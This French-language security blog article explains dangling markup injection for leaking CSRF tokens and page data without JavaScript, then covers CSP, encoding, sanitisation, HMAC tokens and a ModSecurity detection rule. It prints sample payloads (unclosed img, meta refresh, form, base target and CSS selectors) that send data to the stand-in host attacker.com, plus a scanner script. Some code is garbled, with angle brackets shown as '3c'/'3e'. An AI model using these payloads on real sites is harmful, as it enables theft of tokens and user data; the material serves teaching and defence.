Security
17 min read
1525 views

Dangling Markup Injection : fuite de tokens CSRF sans JavaScript

IT
InstaTunnel Team
Published by our engineering team
Dangling Markup Injection : fuite de tokens CSRF sans JavaScript

Comprendre la technique d’exfiltration silencieuse de données qui contourne la sécurité web moderne

Dans le paysage en constante évolution de la sécurité des applications web, les attaquants découvrent continuellement des techniques innovantes pour contourner les mesures de défense. Alors que la Content Security Policy (CSP) et les filtres d’entrée sont devenus de plus en plus efficaces pour prévenir les attaques traditionnelles de Cross-Site Scripting (XSS), une méthode d’exploitation sophistiquée appelée Dangling Markup Injection offre aux attaquants une voie alternative pour exfiltrer des données sensibles sans exécuter de code JavaScript. Cette technique exploite le comportement fondamental du navigateur et les mécanismes d’analyse HTML pour capturer des informations confidentielles, y compris les tokens CSRF, les identifiants de session et les données personnelles.

Qu’est-ce que le Dangling Markup Injection ?

Le dangling markup injection est une technique permettant de capturer des données cross-domain dans des situations où une attaque complète de type cross-site scripting n’est pas possible. Contrairement aux attaques XSS classiques qui nécessitent l’exécution de scripts, le dangling markup exploite la façon dont les navigateurs analysent des balises HTML incomplètes et des attributs.

L’attaque exploite une balise non fermée ou un attribut pour accéder à des données confidentielles contenues dans le code de la page web cible ou saisies dans ses formulaires. Le principe fondamental repose sur le comportement permissif du parsing du navigateur : lorsqu’il rencontre un attribut ou une balise non fermée, le navigateur continue à lire le contenu suivant jusqu’à trouver le délimiteur de fermeture approprié.

Mécanisme principal

L’attaque fonctionne en injectant du HTML contenant une balise ouvrante avec un attribut incomplet. Lors de l’analyse de la réponse, le navigateur regarde en avant jusqu’à rencontrer une apostrophe pour terminer l’attribut, et tout ce qui se trouve avant sera considéré comme faisant partie de l’URL et envoyé au serveur de l’attaquant dans la chaîne de requête URL.

Considérons une application web vulnérable qui intègre des données contrôlées par l’utilisateur dans sa réponse HTML sans une sanitation appropriée :

3cinput type="text" name="search" value="USER_INPUT_HERE"3e

Si l’application ne échappe pas les caractères comme 3e ou ", un attaquant peut injecter une charge malveillante qui sort du contexte existant et introduit un nouvel élément HTML avec un attribut non fermé.

Comment fonctionne le Dangling Markup Injection

Vecteur d’attaque de base

La mise en œuvre la plus simple de cette technique consiste à injecter une balise image avec un attribut src non fermé. Voici comment l’attaque se déroule :

HTML vulnérable original :

3cinput type="text" name="email" value="USER_CONTROLLED_INPUT"3e
3cinput type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2"3e

Charge utile de l’attaquant :

"3e3cimg src='https://attacker.com/collect?data=

HTML résultant après injection :

3cinput type="text" name="email" value=""3e3cimg src='https://attacker.com/collect?data=
3cinput type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2"3e

La conséquence de l’attaque est que l’attaquant peut capturer une partie de la réponse de l’application suivant le point d’injection, qui pourrait contenir des données sensibles telles que des tokens CSRF, des messages email ou des données financières.

Lorsque le navigateur affiche cette page, il interprète tout entre le src='https://attacker.com/collect?data= injecté et la prochaine apostrophe (dans ce cas, après la valeur du token CSRF) comme faisant partie de l’URL de l’image. Le navigateur effectue alors automatiquement une requête GET vers :

https://attacker.com/collect?data=3cinput type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2"3e

Tout caractère non alphanumérique, y compris les sauts de ligne, sera encodé en URL, permettant à l’attaquant de capturer le contenu complet entre le point d’injection et le délimiteur de fermeture.

Techniques d’exploitation alternatives

Bien que les balises image soient le vecteur le plus courant, les attaquants peuvent exploiter divers éléments HTML qui effectuent des requêtes externes :

1. Balises Meta Refresh

"3e3cmeta http-equiv="refresh" content="0;url=https://attacker.com/exfil?

Ce payload redirige la page tout en capturant le contenu suivant dans les paramètres d’URL.

2. Manipulation de l’action de formulaire

Les attaquants peuvent injecter des balises de formulaire incomplètes pour rediriger les soumissions :

"3e3cform action='https://attacker.com/capture?

Toute donnée de formulaire soumise sur la page sera envoyée au serveur de l’attaquant avec le markup capturé.

3. Exploitation de la balise base

En utilisant l’attribut target sur la balise base, les attaquants peuvent changer le nom de la fenêtre de chaque lien sur la page. En injectant un attribut target incomplet, le nom de la fenêtre sera défini avec tout le markup après l’injection jusqu’à la quote correspondante sur chaque lien.

3ca href="https://attacker.com/payload.html"3e3cfont size=100 color=red3eCliquez ici3c/font3e3c/a3e
3cbase target='

Lorsqu’un utilisateur clique sur un lien de la page, la propriété window.name contiendra tout le contenu HTML jusqu’à la prochaine quote, qui pourra ensuite être exfiltré cross-domain puisque window.name est accessible entre origines.

4. Exfiltration basée sur CSS

CSS supporte l’importation de fichiers CSS externes via la règle @import, qui peut être abusée avec des sélecteurs CSS pour exfiltrer du contenu HTML arbitraire sur la page.

3cstyle3e
input[name=csrf_token][value^=a]{
  background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf_token][value^=b]{
  background-image: url(https://attacker.com/exfil/b);
}
3c/style3e

Le sélecteur de requête basé sur regex en CSS tente de trouver si un input a une valeur commençant par la lettre a et si tel est le cas, l’URL arbitraire est chargée en tant qu’image de fond. Cette technique permet une extraction caractère par caractère des tokens sensibles.

Pourquoi le Dangling Markup est particulièrement dangereux

Contourne les défenses traditionnelles XSS

Le dangling markup fonctionne même avec une CSP stricte, ne nécessite pas l’exécution de JavaScript, et peut voler des tokens CSRF, des identifiants de session et d’autres données sensibles.

Les applications web modernes mettent généralement en œuvre plusieurs couches de défense :

  1. Validation et filtrage des entrées - Bloque les balises 3cscript3e et les gestionnaires d’événements JavaScript
  2. Content Security Policy (CSP) - Empêche l’exécution de scripts en ligne et limite le chargement de ressources
  3. XSS Auditor / Filtre XSS - Détection dans le navigateur de scripts malveillants
  4. Encodage en sortie - Échappe les caractères dangereux dans l’entrée utilisateur

Le dangling markup contourne ces protections parce que :

  • Aucune exécution JavaScript requise - L’attaque repose uniquement sur la structure HTML et le comportement du navigateur
  • Éléments HTML légitimes - Utilise des balises standard comme 3cimg3e, 3cmeta3e, et 3cform3e que les applications autorisent souvent
  • Syntaxe subtile - L’attaque n’introduit pas de motifs manifestement malveillants que les filtres détectent généralement
  • Comportement natif du navigateur - Exploite les règles fondamentales d’analyse HTML plutôt que des vulnérabilités de sécurité

Scénarios d’impact dans le monde réel

Vol de tokens CSRF

L’application la plus critique de l’injection de dangling markup consiste à voler des tokens CSRF. Une fois qu’un attaquant obtient un token CSRF valide associé à la session d’un utilisateur, il peut :

  • Effectuer des opérations non autorisées modifiant l’état
  • Modifier les paramètres du compte utilisateur
  • Initier des transactions financières
  • Changer mots de passe ou adresses email
  • Supprimer des données utilisateur

Fuite d’informations sensibles

Au-delà des tokens CSRF, les attaquants peuvent exfiltrer :

  • Informations personnelles identifiables (PII) - noms, adresses, numéros de téléphone
  • Données financières - détails de carte de crédit, informations bancaires
  • Identifiants de session - permettant le détournement de session
  • Contenu des emails - messages affichés sur la page
  • Messages privés - conversations de chat, notifications
  • Clés API et secrets - exposés dans des champs cachés ou variables JavaScript

Reconnaissance et profilage

Même si l’exploitation immédiate n’est pas possible, les données capturées fournissent des renseignements précieux :

  • Structure de l’application et fonctionnalités cachées
  • Noms et formats des paramètres internes
  • Modèles de génération de tokens CSRF
  • Comportement et interactions utilisateur

Comportement du navigateur et particularités d’analyse

Comment les navigateurs gèrent les attributs non fermés

Les navigateurs modernes implémentent un parsing HTML permissif basé sur la spécification HTML5. Cette approche tolérante privilégie l’expérience utilisateur plutôt que la conformité syntaxique stricte. Lorsqu’ils rencontrent un attribut non fermé :

  1. Le navigateur entre dans un contexte de valeur d’attribut
  2. Il continue à consommer des caractères jusqu’à trouver une quote correspondante
  3. Les quotes d’ouverture suivantes sont traitées comme des caractères littéraux
  4. L’attribut reste ouvert sur plusieurs lignes et éléments imbriqués
  5. Seule la quote de fermeture correspondante ou la fin du document ferme l’attribut

Ce comportement, conçu pour gérer HTML malformé avec grâce, crée la vulnérabilité exacte exploitée par le dangling markup.

Encodage URL et transmission de données

Tout caractère non alphanumérique, y compris les sauts de ligne, sera encodé en URL lors de la transmission. Cela signifie que les attaquants reçoivent les données capturées dans un format structuré :

https://attacker.com/collect?data=%3Cinput%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22token123%22%3E

Décoder cette URL révèle la structure HTML originale, permettant aux attaquants d’extraire des valeurs spécifiques de manière programmatique.

Tentatives d’atténuation de Chrome

Le navigateur Chrome a décidé de lutter contre les attaques de dangling markup en empêchant les balises comme img de définir des URL contenant des caractères bruts tels que les chevrons et les sauts de ligne.

Cette mitigation au niveau du navigateur bloque de nombreux payloads de dangling markup basiques mais n’élimine pas complètement la surface d’attaque. Les attaquants peuvent :

  • Utiliser des éléments HTML alternatifs non soumis aux restrictions d’URL
  • Exploiter des schémas de protocole autres que HTTP (ex. FTP)
  • Employer des techniques basées sur le DOM qui ne dépendent pas des paramètres URL
  • Exploiter des vecteurs basés sur l’interaction utilisateur

Contournement de la Content Security Policy (CSP)

Alors que la CSP empêche efficacement de nombreuses attaques XSS, le dangling markup injection présente des défis uniques pour les défenses basées sur la CSP.

Limitations de la CSP contre le dangling markup

Il est courant qu’une CSP bloque des ressources comme les scripts. Cependant, de nombreuses CSP autorisent les requêtes d’images, ce qui permet souvent d’utiliser des éléments img pour faire des requêtes vers des serveurs externes afin de divulguer des tokens CSRF.

Une CSP typique pourrait inclure :

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

Cette politique bloque les scripts externes mais ne empêche pas le chargement d’images, laissant l’application vulnérable aux attaques de dangling markup de base.

Directives CSP pour la mitigation

Notez que ces politiques empêcheront certaines exploitations de dangling markup, car une façon simple de capturer des données sans interaction utilisateur est d’utiliser une balise img. Cependant, elles ne bloqueront pas d’autres exploits, comme ceux qui injectent une balise anchor avec un attribut href non fermé.

Des politiques plus restrictives pourraient inclure :

Content-Security-Policy: default-src 'none'; img-src 'self'; base-uri 'none'

Cependant, même les CSP strictes peuvent être contournées via :

Techniques de dangling markup basées sur le DOM

Même dans des environnements CSP très restrictifs, il est toujours possible d’exfiltrer des données avec une certaine interaction utilisateur en utilisant l’attribut target de la balise base.

Exemple d’exploitation avec CSP restrictif :

3ca href="http://attacker.com/payload.html"3e
  3cfont size=100 color=red3eVous devez cliquer ici3c/font3e
3c/a3e
3cbase target='

L’attribut target dans la balise base contiendra du contenu HTML jusqu’à la prochaine quote, faisant de la valeur de window.name tout ce contenu HTML si le lien est cliqué, qui pourra ensuite être accessible cross-domain.

Exploitation du nom de iframe

Les attaquants peuvent abuser des attributs name des iframe pour contourner les restrictions CSP :

3ciframe src="vulnerable-page.php?input="3e3ciframe name='" onload="exfiltrate(this.contentWindow)"3e
3c/iframe3e

L’attribut name de l’iframe interne capture le contenu de la page suivante, que le JavaScript dans l’iframe externe peut accéder et transmettre à des serveurs contrôlés par l’attaquant.

Techniques d’exploitation avancées

Extraction automatique de tokens

Les attaquants sophistiqués déploient des systèmes automatisés pour extraire des valeurs spécifiques du markup capturé. Des sélecteurs regex CSS peuvent être utilisés pour exfiltrer les tokens CSRF caractère par caractère en injectant plusieurs sélecteurs qui déclenchent des requêtes basées sur des correspondances de préfixe de token.

3cstyle3e
input[name=csrftoken][value^=a]{ background-image: url(https://attacker.com/exfil/a); }
input[name=csrftoken][value^=b]{ background-image: url(https://attacker.com/exfil/b); }
/* ... continuation pour tous les caractères ... */
input[name=csrftoken][value^=a0]{ background-image: url(https://attacker.com/exfil/a0); }
input[name=csrftoken][value^=a1]{ background-image: url(https://attacker.com/exfil/a1); }
3c/style3e

Selon les URL qui reçoivent des requêtes, les attaquants reconstruisent la valeur complète du token. Des outils comme cssrf automatisent tout ce processus.

Attaques multi-étapes

Le dangling markup sert souvent de phase initiale dans des chaînes d’attaque complexes :

  1. Reconnaissance - Extraction de la structure de la page et identification des champs sensibles
  2. Capture du token - Vol de tokens CSRF via dangling markup
  3. Détournement de session - Utilisation des identifiants de session capturés
  4. Escalade de privilèges - Actions administratives avec des identifiants volés
  5. Exfiltration de données - Accès à des informations sensibles avec des privilèges élevés

Attaques persistantes

En injectant des payloads dans des données stockées (commentaires, profils, messages), les attaquants créent des attaques de dangling markup persistantes qui affectent chaque utilisateur visualisant le contenu compromis. Cela transforme une vulnérabilité unique en une opération de collecte de données à grande échelle.

Vulnérabilités réelles et études de cas

Plateformes de médias sociaux

Les applications de médias sociaux permettent fréquemment un HTML limité dans le contenu généré par l’utilisateur (commentaires, posts, bios). Une sanitation insuffisante a conduit à des vulnérabilités de dangling markup où les attaquants :

  • Ont capturé des tokens d’authentification depuis des profils victimes
  • Ont exfiltré des aperçus de messages privés
  • Ont récolté des données de session utilisateur
  • Ont construit des profils détaillés de comportement utilisateur

Sites e-commerce

Les plateformes d’achat en ligne ont été exploitées via du dangling markup dans :

  • Sections d’avis produits
  • Systèmes de tickets support client
  • Fonctionnalités de liste de souhaits et panier
  • Messages de validation de paiement

Les données capturées comprenaient des informations de carte de crédit, adresses de facturation, et historique de commandes.

Clients web email

Les services de webmail représentent des cibles principales parce que :

  • Les emails contiennent des informations très sensibles
  • Le rendu HTML est nécessaire pour les messages formatés
  • Les utilisateurs attendent un contenu riche de la part d’expéditeurs légitimes
  • Plusieurs comptes email peuvent être accessibles depuis une seule session

Le dangling markup dans le contenu des emails a permis aux attaquants de :

  • Voler le contenu de la boîte de réception
  • Capturer adresses email et contacts
  • Exfiltrer des codes d’authentification envoyés par email
  • Surveiller la correspondance en temps réel

Stratégies complètes de prévention et de mitigation

Validation et sanitation des entrées

Vous pouvez prévenir les attaques de dangling markup en utilisant les mêmes défenses générales contre le XSS, en encodant les données en sortie et en validant les entrées à leur arrivée.

Validation stricte des entrées

Mettre en œuvre une validation basée sur une liste blanche qui n’autorise que les caractères et motifs explicitement permis :

import re

def validate_user_input(input_string):
    # Autorise uniquement caractères alphanumériques, espaces et ponctuation de base
    allowed_pattern = re.compile(r'^[a-zA-Z0-9\s.,!?-]+$')
    
    if not allowed_pattern.match(input_string):
        raise ValueError("Caractères invalides détectés")
    
    # Restrictions supplémentaires de longueur
    if len(input_string) > 200:
        raise ValueError("Entrée trop longue")
    
    return input_string

Encodage contextuel en sortie

Appliquer un encodage approprié en fonction de l’endroit où les données seront rendues :

import html

def safe_html_render(user_data):
    # Encodage en entités HTML pour affichage dans HTML
    return html.escape(user_data, quote=True)

Le paramètre quote=True garantit que les guillemets simples et doubles sont échappés, empêchant la sortie du contexte d’attribut.

Configuration de la Content Security Policy

Les méthodes de prévention incluent un encodage strict des attributs HTML, des restrictions connect-src de la CSP, et une validation des entrées qui détecte les balises incomplètes.

En-têtes CSP restrictifs

Mettre en œuvre une CSP en profondeur qui limite plusieurs vecteurs d’attaque :

Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{random}';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';

Les directives clés pour la prévention du dangling markup :

  • img-src 'self' - Empêche le chargement d’images externes
  • base-uri 'none' - Bloque l’injection de balise base
  • form-action 'self' - Restreint les destinations de soumission de formulaire
  • connect-src 'self' - Limite les connexions AJAX et WebSocket

Rapport CSP

Activer la remontée des violations CSP pour détecter les tentatives d’attaque :

Content-Security-Policy: default-src 'self'; report-uri /csp-violation-report

Surveiller et analyser les rapports pour identifier les schémas d’attaque et les points faibles.

Protections côté serveur

Sécurité des en-têtes de réponse

Mettre en œuvre des en-têtes de sécurité supplémentaires :

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer
Permissions-Policy: geolocation=(), microphone=(), camera=()

Bibliothèques de sanitation DOM

Utiliser des bibliothèques de sanitation éprouvées qui comprennent les subtilités de l’analyse HTML :

JavaScript (côté client) :

import DOMPurify from 'dompurify';

function sanitizeHTML(dirty) {
    return DOMPurify.sanitize(dirty, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
        ALLOWED_ATTR: [],
        KEEP_CONTENT: true
    });
}

Python (côté serveur) :

from bleach import clean

def sanitize_html(user_input):
    allowed_tags = ['b', 'i', 'em', 'strong', 'p']
    allowed_attrs = {}
    
    return clean(
        user_input,
        tags=allowed_tags,
        attributes=allowed_attrs,
        strip=True
    )

Considérations d’architecture applicative

Séparation des contextes

Séparer strictement les différents contextes de sécurité :

  • Ne jamais mélanger les données contrôlées par l’utilisateur avec des informations sensibles dans la même structure HTML
  • Utiliser des pages ou des endpoints AJAX séparés pour les opérations impliquant des tokens CSRF
  • Implémenter la livraison de tokens via des en-têtes HTTP plutôt que dans le corps HTML

Stratégies de protection des tokens

Les tokens CSRF doivent être générés côté serveur et ne doivent être générés qu’une seule fois par session utilisateur ou à chaque requête. Les tokens par requête sont plus sécurisés que ceux par session car la fenêtre de temps pour qu’un attaquant exploite des tokens volés est minimale.

Meilleures pratiques pour la gestion des tokens CSRF :

  1. Génération côté serveur uniquement - Ne jamais générer de tokens en JavaScript
  2. Aléa cryptographique fort - Utiliser des générateurs de nombres aléatoires sécurisés
  3. Liaison à la session - Associer les tokens à des sessions utilisateur spécifiques
  4. Expiration courte - Mettre en place une invalidation temporelle
  5. Cookies HTTP-only - Empêcher l’accès JavaScript aux cookies de session
  6. Attribut SameSite du cookie - Restreindre la transmission inter-origines

Pattern Double-Submit Cookie

La mise en œuvre la plus sécurisée du pattern Double Submit Cookie est le Cookie Double Submit Signé, qui lie explicitement les tokens à la session utilisateur authentifiée. Toujours lier le token CSRF à des données spécifiques à la session et utiliser une authentification par HMAC avec une clé secrète côté serveur.

Exemple d’implémentation :

import hmac
import hashlib
import secrets

def generate_csrf_token(session_id, secret_key):
    # Générer un token aléatoire
    random_token = secrets.token_urlsafe(32)
    
    # Créer une signature HMAC liant le token à la session
    signature = hmac.new(
        secret_key.encode(),
        f"{session_id}:{random_token}".encode(),
        hashlib.sha256
    ).hexdigest()
    
    # Combiner le token et la signature
    return f"{random_token}.{signature}"

def validate_csrf_token(token, session_id, secret_key):
    try:
        random_token, signature = token.split('.')
        
        expected_signature = hmac.new(
            secret_key.encode(),
            f"{session_id}:{random_token}".encode(),
            hashlib.sha256
        ).hexdigest()
        
        return hmac.compare_digest(signature, expected_signature)
    except:
        return False

Détection et surveillance

Règles WAF

Configurer des règles de Web Application Firewall (WAF) pour détecter les motifs de dangling markup :

# Exemple de règle ModSecurity
SecRule REQUEST_BODY "@rx <(?:img|iframe|form|base|meta|link)[^\u003e]*(?:src|href|action|target)\s*=\s*['\"]?[^'\"]*$" \
    "id:100001,\
    phase:2,\
    deny,\
    log,\
    msg:'Détection potentielle d\'injection de dangling markup'"

Détection d’anomalies

Surveiller les logs de l’application pour des motifs suspects :

  • Paramètres URL anormalement longs
  • Requêtes multiples avec encodage en entités HTML
  • Motifs correspondant à des attributs HTML non fermés
  • Requêtes provenant de domaines externes inattendus

Analyse comportementale utilisateur

Suivre les activités inhabituelles pouvant indiquer une exploitation :

  • Échecs répétés de soumission de formulaires
  • Requêtes séquentielles rapides vers différents endpoints
  • Tentatives de chargement de ressources externes inattendues
  • Changements dans le user agent ou le referrer

Tests de vulnérabilité au dangling markup

Méthodologie manuelle

  1. Identifier les points d’injection - Tester tous les champs d’entrée utilisateur, paramètres URL, en-têtes HTTP
  2. Vérifier le filtrage des caractères - Confirmer quels caractères sont bloqués : 3c 3e " ' /
  3. Injecter des payloads simples - Essayer des balises incomplètes simples : "3e3cimg src='http://attacker.com?
  4. Examiner le code source - Vérifier le HTML rendu pour confirmer l’injection
  5. Vérifier l’exfiltration de données - Surveiller le serveur contrôlé par l’attaquant pour les requêtes entrantes
  6. Tester l’efficacité de la CSP - Tenter des contournements avec des éléments alternatifs

Analyse automatisée

Utiliser des outils et scripts spécialisés :

import requests

def test_dangling_markup(url, parameter):
    payloads = [
        '"3e3cimg src="http://attacker.com?',
        "'\u00003e3cimg src='http://attacker.com?",
        '"3e3ciframe src="http://attacker.com?',
        '"3e3cmeta http-equiv="refresh" content="0;url=http://attacker.com?',
        '"3e3cbase target="',
    ]
    
    results = []
    for payload in payloads:
        test_data = {parameter: payload}
        response = requests.post(url, data=test_data)
        
        # Vérifier si le payload apparaît non encodé dans la réponse
        if payload in response.text:
            results.append({
                'payload': payload,
                'vulnerable': True,
                'context': extract_context(response.text, payload)
            })
    
    return results

Check-list de test d’intrusion

  • [ ] Tester tous les champs d’entrée pour injection HTML
  • [ ] Vérifier le filtrage des guillemets
  • [ ] Vérifier les restrictions sur les chevrons
  • [ ] Tester les injections basées sur les attributs
  • [ ] Tenter des contournements CSP
  • [ ] Vérifier l’exposition des tokens CSRF
  • [ ] Tester l’injection stockée vs réfléchie
  • [ ] Évaluer les exigences d’interaction utilisateur
  • [ ] Vérifier les comportements spécifiques au navigateur
  • [ ] Tester les points de terminaison des applications mobiles
  • [ ] Vérifier la sécurité des endpoints API

Bonnes pratiques de sécurité pour les développeurs

Pratiques de codage sécurisé

  1. Supposer que toute entrée est malveillante - Traiter les données utilisateur comme non fiables par défaut
  2. Utiliser les protections du framework - Exploiter les fonctionnalités de sécurité intégrées des frameworks modernes
  3. Appliquer la défense en profondeur - Mettre en œuvre plusieurs couches de sécurité
  4. Formation régulière en sécurité - Maintenir les équipes de développement informées des nouvelles menaces
  5. Revue de code ciblée - Vérifier spécifiquement la logique de rendu HTML et la gestion des entrées utilisateur

Recommandations spécifiques aux frameworks

React

// Échappement automatique par défaut
function SafeComponent({ userInput }) {
    return 3cdiv3e{userInput}3c/div3e;  // Sûr - React échappe par défaut
}

// Dangereux - désactivation explicite de l'échappement
function UnsafeComponent({ userInput }) {
    return 3cdiv dangerouslySetInnerHTML={{__html: userInput}} /3e;  // Vulnérable
}

Angular

// Utiliser la sanitation intégrée
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

getSafeHtml(userInput: string) {
    return this.sanitizer.sanitize(SecurityContext.HTML, userInput);
}

Django

# Échappement automatique dans les templates (activé par défaut)
{{ user_input }}  # Sûr - échappé automatiquement

# Désactiver explicitement l'échappement (dangereux)
{{ user_input|safe }}  # Vulnérable

Check-list de revue de sécurité

Avant de déployer du code manipulant des entrées utilisateur :

  • [ ] Toutes les entrées utilisateur sont validées selon une liste blanche
  • [ ] L’encodage en sortie est appliqué selon le contexte
  • [ ] Les en-têtes CSP sont correctement configurés
  • [ ] Les tokens CSRF sont sécurisés
  • [ ] Aucune concaténation HTML directe avec des données utilisateur
  • [ ] Les bibliothèques de sanitation sont à jour
  • [ ] Les tests de sécurité incluent des scénarios de dangling markup
  • [ ] La surveillance et la journalisation sont bien configurées

Conclusion

Le XSS peut contourner toutes les techniques de mitigation du CSRF, rendant les tokens CSRF essentiels pour les applications web qui s’appuient sur les cookies pour l’authentification. Cependant, le dangling markup injection montre que la surface d’attaque dépasse le simple XSS traditionnel pour inclure des comportements subtils d’analyse HTML.

Cette technique sophistiquée souligne l’importance d’une approche de sécurité globale qui va au-delà du blocage des vecteurs d’attaque évidents. Il est possible de réduire le risque d’attaque de dangling markup en vérifiant si les applications web sont vulnérables à l’injection de code incluant des balises HTML, en vérifiant et en nettoyant les données utilisateur, en introduisant des politiques de sécurité de contenu, et en utilisant des navigateurs avec une protection contre le dangling markup.

Points clés à retenir

  1. Le dangling markup ne nécessite pas de JavaScript - Ce qui le rend efficace contre CSP strict et les filtres XSS
  2. Plusieurs vecteurs d’exploitation existent - Images, formulaires, balises base, redirections meta, et CSS offrent tous des surfaces d’attaque
  3. Le comportement du navigateur permet l’attaque - Le parsing HTML permissif crée la vulnérabilité
  4. La défense nécessite plusieurs couches - Aucun seul mécanisme ne peut éliminer complètement le risque
  5. Les tokens CSRF restent précieux - Malgré leur exposition potentielle via le dangling markup, ils restent essentiels
  6. La surveillance continue est cruciale - La détection et la capacité de réponse sont aussi importantes que la prévention

Considérations futures

À mesure que les applications web évoluent, de nouveaux vecteurs de dangling markup émergeront probablement. Les fournisseurs de navigateurs continuent de mettre en œuvre des mitigations, mais le comportement fondamental d’analyse HTML qui permet ces attaques reste nécessaire pour la compatibilité descendante. Les professionnels de la sécurité doivent rester informés des techniques émergentes et réévaluer continuellement la posture de sécurité des applications.

La relation entre convivialité et sécurité crée une tension inhérente - permettre un contenu HTML riche améliore l’expérience utilisateur mais augmente la surface d’attaque. Les organisations doivent évaluer soigneusement leur tolérance au risque et mettre en œuvre des contrôles de sécurité proportionnels à la sensibilité des données protégées.

En comprenant en profondeur l’injection de dangling markup, en mettant en œuvre des défenses complètes, et en maintenant une surveillance vigilante, les organisations peuvent réduire significativement leur exposition à cette vecteur d’attaque subtil mais dangereux tout en conservant la fonctionnalité attendue par les utilisateurs dans les applications web modernes.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#dangling markup injection, dangling markup, CSRF token theft, no-JS exfiltration, HTML parsing attack, attribute injection, unclosed attribute attack, image src exfiltration, meta refresh exfiltration, base tag exfiltration, iframe name exfiltration, window.name exfiltration, CSS exfiltration, cssrf, css-based exfiltration, form action exfiltration, leaking hidden fields, CSRF token leakage, HTML5 parsing quirks, browser parsing attack, CSP bypass dangling markup, CSP bypass, no-script data exfiltration, cross-site data leakage, stored dangling markup, reflected dangling markup, persistent dangling markup, content sanitization bypass, input sanitization failure, output encoding required, DOM parsing quirks, img-src data leak, meta-refresh attack, form-action manipulation, base-uri exploit, origin-crossing windowname, iframe attribute abuse, exfiltration without script, stealing session tokens, stealing session ids, stealing cookies without JS, detect dangling markup, modsecurity dangling markup rules, WAF rules dangling markup, mitigation dangling markup, sanitize attributes, encode quotes and angle brackets, validate input attributes, CSP img-src restrict, form-action self only, token delivery best practices, double-submit cookie protection, sameSite cookie CSRF defense, test dangling markup, automated dangling markup scanner, pentesting dangling markup, browser mitigations dangling markup

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles